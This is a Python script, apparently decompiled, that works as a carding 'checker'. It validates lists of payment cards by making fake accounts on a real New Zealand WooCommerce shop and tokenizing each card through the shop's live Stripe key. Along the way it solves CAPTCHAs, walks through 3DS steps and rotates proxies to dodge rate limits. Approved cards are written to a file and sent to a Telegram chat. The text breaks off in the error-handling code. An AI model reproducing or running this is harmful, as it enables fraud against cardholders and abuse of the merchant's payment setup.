664 lines
35 KiB
Python
664 lines
35 KiB
Python
import uuid
|
|
import secrets
|
|
import string
|
|
import random
|
|
import time
|
|
import datetime
|
|
import sys
|
|
import base64
|
|
import json
|
|
import socket
|
|
import requests
|
|
import threading
|
|
from requests import exceptions
|
|
import urllib3
|
|
from faker import Faker
|
|
from colorama import Fore, Style
|
|
# Prefer package-relative imports when available; fall back to local module for script execution.
|
|
try:
|
|
from .utils import generate_password, sleep_random, UA, gstr, telegram_send, format_ts
|
|
from .recha.reca import RecaptchaSolverSync
|
|
except ImportError: # Running as a script without package context
|
|
from utils import generate_password, sleep_random, UA, gstr, telegram_send, format_ts
|
|
from recha.reca import RecaptchaSolverSync
|
|
# 假设这些是从外部作用域导入或定义的全局变量/函数
|
|
# 因为字节码中只是加载了它们
|
|
# UA, gstr, generate_password, sleep_random, solve_recaptcha_token, telegram_send
|
|
# print_lock, file_lock, sent_telegram, tg_token, tg_chat_id
|
|
print_lock = threading.Lock()
|
|
file_lock = threading.Lock()
|
|
sent_lock = threading.Lock()
|
|
tg_token = None
|
|
tg_chat_id = None
|
|
sent_telegram = set()
|
|
|
|
# 假设 RecaptchaSolverSync 是从其他模块导入的类
|
|
def solve_recaptcha_token(anchor_url, proxies=None, timeout=20):
|
|
# 1. 初始化求解器
|
|
# 允许 proxies 为空,避免调用方必须传值
|
|
solver = RecaptchaSolverSync(timeout=timeout, proxies=proxies)
|
|
# 2. 调用 solve 方法并返回结果
|
|
return solver.solve(anchor_url)
|
|
|
|
def check(card, sess, proxy_list):
|
|
# 1. 初始化 ID
|
|
session_uuid = str(uuid.uuid4())
|
|
GUID = str(uuid.uuid4())
|
|
MUID = str(uuid.uuid4())
|
|
SID = str(uuid.uuid4())
|
|
|
|
# 2. 解析卡片信息
|
|
# 字节码中有一个生成器用于 strip 字符串
|
|
cardnum, mm, yyyy, cvv = [s.strip() for s in card.strip().split('|')]
|
|
|
|
mm = mm.zfill(2)
|
|
yy = str(yyyy)[-2:].zfill(2)
|
|
cvv = cvv[:4]
|
|
bin_code = cardnum[:6]
|
|
cardfull = f"{cardnum}|{mm}|{yy}|{cvv}"
|
|
|
|
# 3. 生成用户信息
|
|
password = generate_password(10, 16)
|
|
delay = sleep_random(1, 3)
|
|
|
|
# 用户名生成逻辑
|
|
username_chars = string.ascii_lowercase + string.digits + '._'
|
|
alnum = string.ascii_lowercase + string.digits
|
|
min_user_len, max_user_len = (6, 12)
|
|
length = secrets.choice(range(min_user_len, max_user_len + 1))
|
|
|
|
first = secrets.choice(alnum)
|
|
last = secrets.choice(alnum)
|
|
middle = []
|
|
prev = ''
|
|
|
|
# 避免连续的特殊字符 (._)
|
|
for _ in range(max(0, length - 2)):
|
|
ch = secrets.choice(username_chars)
|
|
while prev in '._' and ch in '._':
|
|
ch = secrets.choice(alnum)
|
|
middle.append(ch)
|
|
prev = ch
|
|
|
|
base = first + ''.join(middle) + last
|
|
uniq = uuid.uuid4().hex[:4]
|
|
username = (base + uniq)[:length] # 字节码逻辑实际上是在这里截断
|
|
|
|
timeout = 15
|
|
max_retries = 5
|
|
|
|
# 临时邮箱域名列表
|
|
email_domains = [
|
|
'startmail.com', 'runbox.com', 'posteo.de', 'openmailbox.org', 'safe-mail.net',
|
|
'keemail.me', 'mykolab.com', 'eclipso.eu', 'neomailbox.com', 'mailbox.org',
|
|
'msgsafe.io', 'torguard.tg', 'vfemail.net', 'scryptmail.com', 'luxsci.com',
|
|
'onmail.com', 'simplelogin.io', 'anonaddy.com', 'duck.com', 'pm.me',
|
|
'swissmail.org', 'kolabnow.com', 'mailnesia.com', 'spamgourmet.com',
|
|
'mailsac.com', 'relay.firefox.com', 'emailondeck.com', 'moakt.com',
|
|
'maildrop.cc', 'nowmymail.com', 'throwawaymail.com', 'mailcatch.com',
|
|
'mailnull.com', 'spamavert.com', 'mail-temporaire.fr', 'rcpt.at',
|
|
'mailnesia.com', 'spamfree24.org', 'temp-mail.io', 'easytrashmail.com',
|
|
'inboxkitten.com', 'trashmail.de', 'wh4f.org', 'vibemail.net',
|
|
'spamex.com', 'trbvm.com', 'getairmail.com', 'webemail.me',
|
|
'kurzepost.de', 'lortemail.dk', 'spambog.com', 'spambog.ru',
|
|
'yepmail.net', 'tempail.com', 'fakeinbox.com', 'meltmail.com',
|
|
'deadaddress.com', 'jetable.org', 'mailhazard.com', 'tagmymail.com'
|
|
]
|
|
|
|
tempmail = f"{username}@{random.choice(email_domains)}"
|
|
|
|
# 时间戳生成
|
|
timeunix = str(int(time.time()))[:7]
|
|
timeunixx = str(int(time.time()))
|
|
ts_now = format_ts(datetime.datetime.now(datetime.timezone.utc)) # 假设 format_ts 存在
|
|
|
|
# Faker 生成其他信息
|
|
fake = Faker('en_US')
|
|
first_name = fake.first_name_male()
|
|
last_name = fake.last_name_male()
|
|
email = fake.free_email() # 字节码中生成了但似乎后面用了 tempmail
|
|
zipcode = fake.postalcode()
|
|
|
|
RotationUserAgents = random.choice(UA) # UA 是外部列表
|
|
|
|
proxies_source = list(proxy_list) if proxy_list else []
|
|
tried = set()
|
|
max_attempts = max_retries
|
|
attempt = 0
|
|
|
|
# 4. 主循环:代理重试逻辑
|
|
while attempt < max_attempts:
|
|
try:
|
|
attempt += 1
|
|
if proxies_source and len(tried) >= len(proxies_source):
|
|
return ("No proxy available", None)
|
|
|
|
if proxies_source:
|
|
proxy = random.choice(proxies_source)
|
|
while proxy in tried:
|
|
proxy = random.choice(proxies_source)
|
|
tried.add(proxy)
|
|
proxies = {'http': proxy, 'https': proxy}
|
|
else:
|
|
proxies = None
|
|
|
|
# --- 请求逻辑开始 ---
|
|
|
|
# 请求 1: 解决 Recaptcha
|
|
anchor_url = 'https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfAYREqAAAAAGMmzJpVy-ZtfdQgCuGSBRx8f321&co=aHR0cHM6Ly93d3cud29tZW5zYWlkLm9yZy51azo0NDM.&hl=en&v=bGi-DxR800FVc7f0siDI2jNQ&size=invisible&anchor-ms=20000&execute-ms=15000&cb=6mmplhhp955x'
|
|
token = solve_recaptcha_token(anchor_url, proxies=proxies, timeout=20)
|
|
|
|
# 请求 2: 查询 BIN 信息
|
|
url = f'https://bins.antipublic.cc/bins/{cardnum[:6]}'
|
|
r1 = sess.get(url=url)
|
|
|
|
# 使用 gstr 提取 BIN 信息 (假设 gstr 是 get_string_between)
|
|
brands = gstr(r1.text, 'brand":"', '"').upper() or 'UNKNOWN'
|
|
country2 = gstr(r1.text, 'country_name":"', '"').upper() or 'UNKNOWN'
|
|
country_emoji = gstr(r1.text, 'country_flag":"', '"').upper() or 'UNKNOWN'
|
|
banks = gstr(r1.text, 'bank":"', '"').upper() or 'UNKNOWN'
|
|
typecard = gstr(r1.text, 'type":"', '"').upper() or 'UNKNOWN'
|
|
levelcc = gstr(r1.text, 'level":"', '"').upper() or 'UNKNOWN'
|
|
|
|
# 请求 3: 访问 My Account 页面
|
|
headers = {
|
|
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
|
|
'accept-language': 'en-US,en;q=0.9',
|
|
'cache-control': 'no-cache',
|
|
'dnt': '1',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=0, i',
|
|
'user-agent': random.choice(UA)
|
|
}
|
|
response = sess.get('https://ihorangi.ac.nz/my-account/', headers=headers, proxies=proxies, timeout=timeout)
|
|
txt = response.text.strip()
|
|
|
|
# 提取 nonce
|
|
wogreg = gstr(txt, 'woocommerce-register-nonce" value="', '"')
|
|
|
|
# 请求 4: 注册账户
|
|
headers = {
|
|
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
|
|
'accept-language': 'en-US,en;q=0.9',
|
|
'cache-control': 'no-cache',
|
|
'content-type': 'application/x-www-form-urlencoded',
|
|
'dnt': '1',
|
|
'origin': 'https://ihorangi.ac.nz',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=0, i',
|
|
'referer': 'https://ihorangi.ac.nz/my-account/',
|
|
'user-agent': random.choice(UA)
|
|
}
|
|
data = {
|
|
'email': tempmail,
|
|
'wc_order_attribution_source_type': 'typein',
|
|
'wc_order_attribution_referrer': '(none)',
|
|
'wc_order_attribution_utm_campaign': '(none)',
|
|
'wc_order_attribution_utm_source': '(direct)',
|
|
'wc_order_attribution_utm_medium': '(none)',
|
|
'wc_order_attribution_utm_content': '(none)',
|
|
'wc_order_attribution_utm_id': '(none)',
|
|
'wc_order_attribution_utm_term': '(none)',
|
|
'wc_order_attribution_utm_source_platform': '(none)',
|
|
'wc_order_attribution_utm_creative_format': '(none)',
|
|
'wc_order_attribution_utm_marketing_tactic': '(none)',
|
|
'wc_order_attribution_session_entry': 'https://ihorangi.ac.nz/my-account/',
|
|
'wc_order_attribution_session_start_time': ts_now,
|
|
'wc_order_attribution_session_pages': '1',
|
|
'wc_order_attribution_session_count': '1',
|
|
'wc_order_attribution_user_agent': random.choice(UA),
|
|
'woocommerce-register-nonce': wogreg,
|
|
'_wp_http_referer': '/my-account/',
|
|
'register': 'Register'
|
|
}
|
|
response = sess.post('https://ihorangi.ac.nz/my-account/', headers=headers, data=data, proxies=proxies, timeout=timeout)
|
|
txt = response.text.strip()
|
|
|
|
# 检查注册是否成功,如果不成功则重试
|
|
if response.status_code not in (200, 301, 302):
|
|
time.sleep(random.uniform(5, 10))
|
|
sess.close()
|
|
continue # 重试循环
|
|
|
|
# 请求 5: 访问支付方式页面
|
|
headers = {
|
|
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
|
|
'accept-language': 'en-US,en;q=0.9',
|
|
'cache-control': 'no-cache',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=0, i',
|
|
'referer': 'https://ihorangi.ac.nz/my-account/',
|
|
'user-agent': random.choice(UA)
|
|
}
|
|
response = sess.get('https://ihorangi.ac.nz/my-account/payment-methods/', headers=headers, proxies=proxies, timeout=timeout)
|
|
|
|
# 请求 6: 访问添加支付方式页面并提取 Stripe Key 和 Nonce
|
|
headers = {
|
|
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
|
|
'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6,zh-CN;q=0.5,zh;q=0.4',
|
|
'cache-control': 'no-cache',
|
|
'dnt': '1',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=0, i',
|
|
'referer': 'https://ihorangi.ac.nz/my-account/payment-methods/',
|
|
'user-agent': random.choice(UA)
|
|
}
|
|
response = sess.get('https://ihorangi.ac.nz/my-account/add-payment-method/', headers=headers, proxies=proxies, timeout=timeout)
|
|
txt = response.text.strip()
|
|
|
|
pklive = 'pk_live_51PNnUYCpbsAx05ZQuvx5UVPB6OydHAwDUFaKTeblYjQDucB8985OeQ6ceodC9EhWgClX2wvS7jaVTSNnr0SkektW00mh3KBqQ3'
|
|
stpnonce = gstr(txt, 'createAndConfirmSetupIntentNonce": "', '"')
|
|
if not stpnonce:
|
|
stpnonce = gstr(txt, 'createAndConfirmSetupIntentNonce":"', '"')
|
|
|
|
# 请求 7: Stripe Elements Session
|
|
headers = {
|
|
'accept': 'application/json',
|
|
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
|
|
'cache-control': 'no-cache',
|
|
'content-type': 'application/x-www-form-urlencoded',
|
|
'origin': 'https://js.stripe.com',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=1, i',
|
|
'referer': 'https://js.stripe.com/',
|
|
'user-agent': random.choice(UA)
|
|
}
|
|
url_elements = f'https://api.stripe.com/v1/elements/sessions?deferred_intent[mode]=setup&deferred_intent[currency]=nzd&deferred_intent[payment_method_types][0]=card&deferred_intent[setup_future_usage]=off_session¤cy=nzd&key={pklive}&_stripe_version=2024-06-20&elements_init_source=stripe.elements&referrer_host=ihorangi.ac.nz&stripe_js_id={session_uuid}&locale=en&type=deferred_intent'
|
|
response = sess.get(url_elements, headers=headers, timeout=timeout, proxies=proxies)
|
|
|
|
# 请求 8: Link Cookie
|
|
headers = {
|
|
'accept': 'application/json',
|
|
'accept-language': 'en-US,en;q=0.9',
|
|
'cache-control': 'no-cache',
|
|
'content-type': 'application/x-www-form-urlencoded',
|
|
'origin': 'https://js.stripe.com',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=1, i',
|
|
'referer': 'https://js.stripe.com/',
|
|
'user-agent': random.choice(UA)
|
|
}
|
|
params = {'referrer_host': 'ihorangi.ac.nz'}
|
|
response = sess.get('https://merchant-ui-api.stripe.com/link/get-cookie', params=params, headers=headers, proxies=proxies, timeout=timeout)
|
|
|
|
# 请求 9: hCaptcha Check
|
|
headers = {
|
|
'accept': 'application/json',
|
|
'accept-language': 'en-US,en;q=0.9',
|
|
'cache-control': 'no-cache',
|
|
'content-type': 'text/plain',
|
|
'origin': 'https://newassets.hcaptcha.com',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=1, i',
|
|
'referer': 'https://newassets.hcaptcha.com/',
|
|
'user-agent': random.choice(UA)
|
|
}
|
|
params = {
|
|
'v': '2e2f9feae51e15dd4676ba8e3d761ec72f41b826',
|
|
'host': 'b.stripecdn.com',
|
|
'sitekey': '463b917e-e264-403f-ad34-34af0ee10294',
|
|
'sc': '1',
|
|
'swa': '1',
|
|
'spst': '0'
|
|
}
|
|
response = sess.post('https://api.hcaptcha.com/checksiteconfig', params=params, headers=headers, proxies=proxies, timeout=timeout)
|
|
txt = response.text.strip()
|
|
|
|
tokxn = 'P1_' + gstr(txt, 'req":"', '"')
|
|
|
|
# 请求 10: Stripe Payment Methods (Tokenize Card)
|
|
headers = {
|
|
'accept': 'application/json',
|
|
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
|
|
'cache-control': 'no-cache',
|
|
'content-type': 'application/x-www-form-urlencoded',
|
|
'origin': 'https://js.stripe.com',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=1, i',
|
|
'referer': 'https://js.stripe.com/',
|
|
'user-agent': random.choice(UA)
|
|
}
|
|
data = f'type=card&card[number]={cardnum}&card[cvc]={cvv}&card[exp_year]={yy}&card[exp_month]={mm}&allow_redisplay=unspecified&billing_details[address][country]=NZ&pasted_fields=number%2Ccvc&payment_user_agent=stripe.js%2F8c194b4c2c%3B+stripe-js-v3%2F8c194b4c2c%3B+payment-element%3B+deferred-intent&referrer=https%3A%2F%2Fihorangi.ac.nz&time_on_page={timeunix}&client_attribution_metadata[client_session_id]=2b694de4-a99f-4708-9cd4-089e3a463ff5&client_attribution_metadata[merchant_integration_source]=elements&client_attribution_metadata[merchant_integration_subtype]=payment-element&client_attribution_metadata[merchant_integration_version]=2021&client_attribution_metadata[payment_intent_creation_flow]=deferred&client_attribution_metadata[payment_method_selection_flow]=merchant_specified&client_attribution_metadata[elements_session_config_id]=47f07f96-4b09-4cf0-9d48-4343573d8fa2&client_attribution_metadata[merchant_integration_additional_elements][0]=payment&guid={GUID}&muid={MUID}&sid={SID}&key={pklive}&_stripe_version=2024-06-20'
|
|
|
|
response = sess.post('https://api.stripe.com/v1/payment_methods', headers=headers, data=data, timeout=timeout, proxies=proxies)
|
|
txt = response.text.strip()
|
|
|
|
if response.status_code != 200:
|
|
# 错误处理逻辑
|
|
msx = gstr(txt, 'message": "', '"')
|
|
with print_lock:
|
|
print(f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.CYAN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.LIGHTRED_EX}{msx}{Style.RESET_ALL}")
|
|
sess.close()
|
|
return (msx or 'payment_methods_failed', False)
|
|
|
|
idtoken = gstr(txt, 'id": "', '"')
|
|
|
|
# 请求 11: WooCommerce 后端确认 Setup Intent
|
|
headers = {
|
|
'accept': '*/*',
|
|
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
|
|
'cache-control': 'no-cache',
|
|
'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
|
|
'origin': 'https://ihorangi.ac.nz',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=1, i',
|
|
'referer': 'https://ihorangi.ac.nz/my-account/add-payment-method/',
|
|
'user-agent': random.choice(UA),
|
|
'x-requested-with': 'XMLHttpRequest'
|
|
}
|
|
data = {
|
|
'action': 'wc_stripe_create_and_confirm_setup_intent',
|
|
'wc-stripe-payment-method': idtoken,
|
|
'wc-stripe-payment-type': 'card',
|
|
'_ajax_nonce': stpnonce
|
|
}
|
|
response = sess.post('https://ihorangi.ac.nz/wp-admin/admin-ajax.php', headers=headers, data=data, timeout=timeout, proxies=proxies, allow_redirects=False)
|
|
txt = response.text.strip()
|
|
try:
|
|
resp = response.json()
|
|
except ValueError:
|
|
resp = None
|
|
|
|
if not isinstance(resp, dict):
|
|
preview = txt[:400]
|
|
with print_lock:
|
|
print(f"{Fore.LIGHTYELLOW_EX}[DEBUG]{Style.RESET_ALL} Unexpected AJAX response ({type(resp).__name__}) -> {preview}")
|
|
resp = {}
|
|
|
|
if resp.get('data') and isinstance(resp['data'], dict):
|
|
data = resp['data']
|
|
else:
|
|
data = resp
|
|
|
|
status = str(data.get('status', '')).lower()
|
|
text = response.text.strip().lower()
|
|
text_lower = text
|
|
|
|
# --- 结果判断逻辑 ---
|
|
|
|
# 1. 直接成功
|
|
if 'success' in data and data['success'] is True:
|
|
# 后面统一处理
|
|
pass
|
|
|
|
# 2. 需要 3DS 验证 (Requires Action)
|
|
elif status == 'requires_action':
|
|
next_action = data.get('next_action', {})
|
|
sdk = next_action.get('use_stripe_sdk', {})
|
|
seti_id = data.get('id')
|
|
client_secret = data.get('client_secret')
|
|
merchant = sdk.get('merchant')
|
|
server_transaction_id = sdk.get('server_transaction_id')
|
|
three_ds_source = sdk.get('three_d_secure_2_source')
|
|
|
|
# 发起 3DS 确认请求
|
|
headers = {
|
|
'accept': 'application/json',
|
|
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
|
|
'cache-control': 'no-cache',
|
|
'content-type': 'application/x-www-form-urlencoded',
|
|
'origin': 'https://js.stripe.com',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=1, i',
|
|
'referer': 'https://js.stripe.com/',
|
|
'user-agent': random.choice(UA)
|
|
}
|
|
data_confirm = f'use_stripe_sdk=true&mandate_data[customer_acceptance][type]=online&mandate_data[customer_acceptance][online][infer_from_client]=true&key={pklive}&_stripe_version=2024-06-20&client_attribution_metadata[client_session_id]=2b694de4-a99f-4708-9cd4-089e3a463ff5&client_attribution_metadata[merchant_integration_source]=l1&client_secret={client_secret}'
|
|
|
|
response = sess.post(f'https://api.stripe.com/v1/setup_intents/{seti_id}/confirm', headers=headers, data=data_confirm, timeout=timeout, proxies=proxies)
|
|
resp = response.json()
|
|
data = resp['data']
|
|
next_action = data.get('next_action', {})
|
|
sdk = next_action.get('use_stripe_sdk', {})
|
|
seti_id = data.get('id')
|
|
client_secret = data.get('client_secret')
|
|
merchant = sdk.get('merchant')
|
|
server_transaction_id = sdk.get('server_transaction_id')
|
|
three_ds_source = sdk.get('three_d_secure_2_source')
|
|
|
|
# Cardinal Commerce 指纹处理
|
|
payload = {'threeDSServerTransID': server_transaction_id}
|
|
encoded = base64.b64encode(json.dumps(payload, separators=(',', ':')).encode()).decode()
|
|
|
|
headers_cardinal = {
|
|
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
|
|
'cache-control': 'no-cache',
|
|
'content-type': 'application/x-www-form-urlencoded',
|
|
'origin': 'https://geoissuer.cardinalcommerce.com',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=0, i',
|
|
'referer': 'https://geoissuer.cardinalcommerce.com/',
|
|
'user-agent': random.choice(UA)
|
|
}
|
|
data_cardinal = {'threeDSMethodData': encoded}
|
|
sess.post(f'https://hooks.stripe.com/3d_secure_2/fingerprint/{merchant}/', headers=headers_cardinal, data=data_cardinal, timeout=timeout, proxies=proxies)
|
|
|
|
# 3DS 认证请求
|
|
headers = {
|
|
'accept': 'application/json',
|
|
'cache-control': 'no-cache',
|
|
'content-type': 'application/x-www-form-urlencoded',
|
|
'origin': 'https://js.stripe.com',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=1, i',
|
|
'referer': 'https://js.stripe.com/',
|
|
'user-agent': random.choice(UA)
|
|
}
|
|
browser_data = {
|
|
'fingerprintAttempted': 'Y',
|
|
'challengeWindowSize': '0', # 字节码里看起来像 0 或 False
|
|
'threeDSCompInd': 'Y',
|
|
'browserJavaEnabled': 'false',
|
|
'browserJavascriptEnabled': 'true',
|
|
'browserLanguage': 'en-US',
|
|
'browserColorDepth': '24',
|
|
'browserScreenHeight': '1080',
|
|
'browserScreenWidth': '1920',
|
|
'browserTZ': '0',
|
|
'browserUserAgent': random.choice(UA)
|
|
}
|
|
data_auth = {
|
|
'source': three_ds_source,
|
|
'browser': json.dumps(browser_data),
|
|
'one_click_authn_device_support[hosted]': 'false',
|
|
'one_click_authn_device_support[same_origin_frame]': 'false',
|
|
'one_click_authn_device_support[spc_eligible]': 'false',
|
|
'one_click_authn_device_support[webauthn_eligible]': 'false',
|
|
'one_click_authn_device_support[publickey_credentials_get_allowed]': 'true',
|
|
'key': pklive,
|
|
'_stripe_version': '2024-06-20'
|
|
}
|
|
response = sess.post('https://api.stripe.com/v1/3ds2/authenticate', headers=headers, data=data_auth, timeout=timeout, proxies=proxies)
|
|
|
|
# 再次确认 Setup Intent
|
|
headers = {
|
|
'accept': 'application/json',
|
|
'accept-language': 'en-US,en;q=0.9',
|
|
'cache-control': 'no-cache',
|
|
'content-type': 'application/x-www-form-urlencoded',
|
|
'origin': 'https://js.stripe.com',
|
|
'pragma': 'no-cache',
|
|
'priority': 'u=1, i',
|
|
'referer': 'https://js.stripe.com/',
|
|
'user-agent': random.choice(UA)
|
|
}
|
|
params = {
|
|
'is_stripe_sdk': 'false',
|
|
'client_secret': client_secret,
|
|
'key': pklive,
|
|
'_stripe_version': '2024-06-20'
|
|
}
|
|
response = sess.get(f'https://api.stripe.com/v1/setup_intents/{seti_id}', params=params, headers=headers, timeout=timeout, proxies=proxies)
|
|
rjson = response.json()
|
|
text_lower = response.text.lower().strip()
|
|
text = response.text.strip()
|
|
|
|
data = rjson['data'] # 字节码逻辑
|
|
status = str(data.get('status', '')).lower()
|
|
|
|
# --- 结果输出 ---
|
|
mesg = gstr(txt, 'message":"', '"') or gstr(txt, 'message": "', '"')
|
|
stats = gstr(txt, 'status":"', '"') or gstr(txt, 'status": "', '"')
|
|
|
|
# 成功
|
|
if (resp.get('success') is True) or ('succeeded' in status) or ('succeeded' in text_lower):
|
|
with print_lock:
|
|
print(f"{Fore.LIGHTGREEN_EX} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}Approved (SUCCEEDED).{Style.RESET_ALL}")
|
|
|
|
with file_lock:
|
|
with open('approvedcard.txt', 'a', encoding='utf-8') as f:
|
|
f.write(f"{cardnum}|{mm}|{yy}|{cvv}|SUCCEEDED|\n")
|
|
|
|
if tg_token and tg_chat_id:
|
|
with sent_lock:
|
|
if card not in sent_telegram:
|
|
msg = f"<b>Stripe Charge 0.10$</b>\n\n<b>CC</b> : <code>{cardfull}</code>\n<b>Status</b> : Approved!✅\n<b>Response</b> : Succeeded\n<b>Gates</b> : Stripe Charge\n\n<b>Bin</b> : {cardnum[:6]} - <b>Brand</b> : {brands} - <b>Type</b> : {typecard} - <b>Country</b> : {country2} {country_emoji} - <b>Issuer</b> : {banks}"
|
|
telegram_send(tg_token, tg_chat_id, msg, timeout)
|
|
sent_telegram.add(card)
|
|
|
|
sess.close()
|
|
return ("Succeeded", True)
|
|
|
|
# 需要 3DS (Requires Action) - 通常被视为通过或半通过
|
|
elif 'requires_action' in status or 'requires_action' in text_lower:
|
|
with print_lock:
|
|
print(f"{Fore.YELLOW} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.YELLOW}3DS Required.{Style.RESET_ALL}")
|
|
sess.close()
|
|
return ("3DS required", None)
|
|
|
|
# 需要支付方式 (通常用于捕捉 Decline)
|
|
elif status == 'requires_payment_method' or 'requires_payment_method' in text_lower:
|
|
msx = gstr(text, 'message": "', '"') or gstr(text, '"code": "', '"') or gstr(text, '"decline_code": "', '"')
|
|
with print_lock:
|
|
print(f"{Fore.RED} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}{msx}{Style.RESET_ALL}")
|
|
return (msx or 'requires_payment_method', False)
|
|
|
|
# 余额不足 (Insufficient Funds)
|
|
elif 'last_payment_error' in status or 'last_payment_error' in text_lower:
|
|
msx = gstr(text, 'message": "', '"') or gstr(text, '"code": "', '"') or gstr(text, '"decline_code": "', '"')
|
|
with print_lock:
|
|
print(f"{Fore.RED} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}{msx}{Style.RESET_ALL}")
|
|
|
|
# 余额不足通常被视为 Approved CVV Live
|
|
if any(k in text_lower for k in ['insufficient_funds', 'insufficient funds']):
|
|
with print_lock:
|
|
print(f"{Fore.LIGHTGREEN_EX} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}Approved (Insufficient Funds).{Style.RESET_ALL}")
|
|
|
|
with file_lock:
|
|
with open('approvedcard.txt', 'a', encoding='utf-8') as f:
|
|
f.write(f"{cardnum}|{mm}|{yy}|{cvv}|INSUFFICIENT_FUNDS|\n")
|
|
|
|
if tg_token and tg_chat_id:
|
|
with sent_lock:
|
|
if card not in sent_telegram:
|
|
msg = f"<b>Stripe Charge 0.10$</b>\n\n<b>CC</b> : <code>{cardfull}</code>\n<b>Status</b> : Approved!✅\n<b>Response</b> : Insufficient Funds\n<b>Gates</b> : Stripe Charge\n\n<b>Bin</b> : {cardnum[:6]} - <b>Brand</b> : {brands} - <b>Type</b> : {typecard} - <b>Country</b> : {country2} {country_emoji} - <b>Issuer</b> : {banks}"
|
|
telegram_send(tg_token, tg_chat_id, msg, timeout)
|
|
sent_telegram.add(card)
|
|
|
|
sess.close()
|
|
return ("Insufficient funds", True)
|
|
|
|
# 特定错误:操作过快
|
|
elif mesg and 'You cannot add a new payment method so soon after the previous one.' in mesg:
|
|
with print_lock:
|
|
print(f"{Fore.LIGHTYELLOW_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.LIGHTYELLOW_EX}RETRY {Fore.LIGHTWHITE_EX}- {Fore.LIGHTYELLOW_EX}Retrying.. IP is temporarily blocked{Style.RESET_ALL}")
|
|
time.sleep(random.uniform(5, 10))
|
|
sess.close()
|
|
continue # 重试
|
|
|
|
# 默认失败
|
|
else:
|
|
message = resp.get('data', {}).get('error', {}).get('message') if isinstance(resp, dict) else None
|
|
if mesg:
|
|
message = mesg
|
|
error_type = 'RequestError'
|
|
hint = message or 'Unknown error'
|
|
with print_lock:
|
|
print(f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.CYAN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.RED}{error_type}: {hint}{Style.RESET_ALL}")
|
|
sess.close()
|
|
return (hint, False)
|
|
|
|
except KeyboardInterrupt:
|
|
sys.exit(1)
|
|
|
|
except Exception as e:
|
|
# 异常处理映射
|
|
err_msg = str(e).lower()
|
|
hint = 'Unknown error occurred.'
|
|
error_type = type(e).__name__
|
|
|
|
if isinstance(e, exceptions.ConnectTimeout):
|
|
hint = 'Connection timed out while connecting to host.'
|
|
elif isinstance(e, exceptions.ReadTimeout):
|
|
hint = 'Server took too long to respond.'
|
|
elif isinstance(e, exceptions.Timeout):
|
|
hint = 'Request timeout (connect/read).'
|
|
elif isinstance(e, socket.timeout):
|
|
hint = 'Socket-level timeout occurred.'
|
|
elif isinstance(e, exceptions.ConnectionError):
|
|
if 'reset' in err_msg: hint = 'Connection reset — remote host dropped connection.'
|
|
elif 'refused' in err_msg: hint = 'Connection refused — host blocked or service down.'
|
|
elif 'aborted' in err_msg: hint = 'Connection aborted — TLS drop or handshake cut.'
|
|
elif 'broken pipe' in err_msg: hint = 'Broken pipe — connection unexpectedly closed.'
|
|
elif 'terminated' in err_msg: hint = 'Connection terminated unexpectedly.'
|
|
elif 'name or service not known' in err_msg: hint = 'DNS resolution failed — invalid or unreachable domain.'
|
|
elif 'no route to host' in err_msg: hint = 'Network unreachable — routing issue or firewall.'
|
|
elif 'network is unreachable' in err_msg: hint = 'No network route available.'
|
|
elif 'host unreachable' in err_msg: hint = 'Host unreachable — mid-network issue.'
|
|
else: hint = 'General connection error.'
|
|
elif isinstance(e, exceptions.ProxyError):
|
|
if 'cannot connect' in err_msg or 'unable to connect' in err_msg: hint = 'Proxy unreachable — host down or port blocked.'
|
|
elif 'timed out' in err_msg: hint = 'Proxy timeout — slow or overloaded proxy.'
|
|
elif 'tls' in err_msg or 'ssl' in err_msg: hint = 'Proxy SSL handshake failed — bad HTTPS proxy.'
|
|
elif '407' in err_msg: hint = 'Proxy authentication required.'
|
|
elif 'badgateway' in err_msg or '502' in err_msg: hint = 'Proxy bad gateway — upstream error.'
|
|
elif 'invalid header' in err_msg: hint = 'Proxy returned invalid/malformed headers.'
|
|
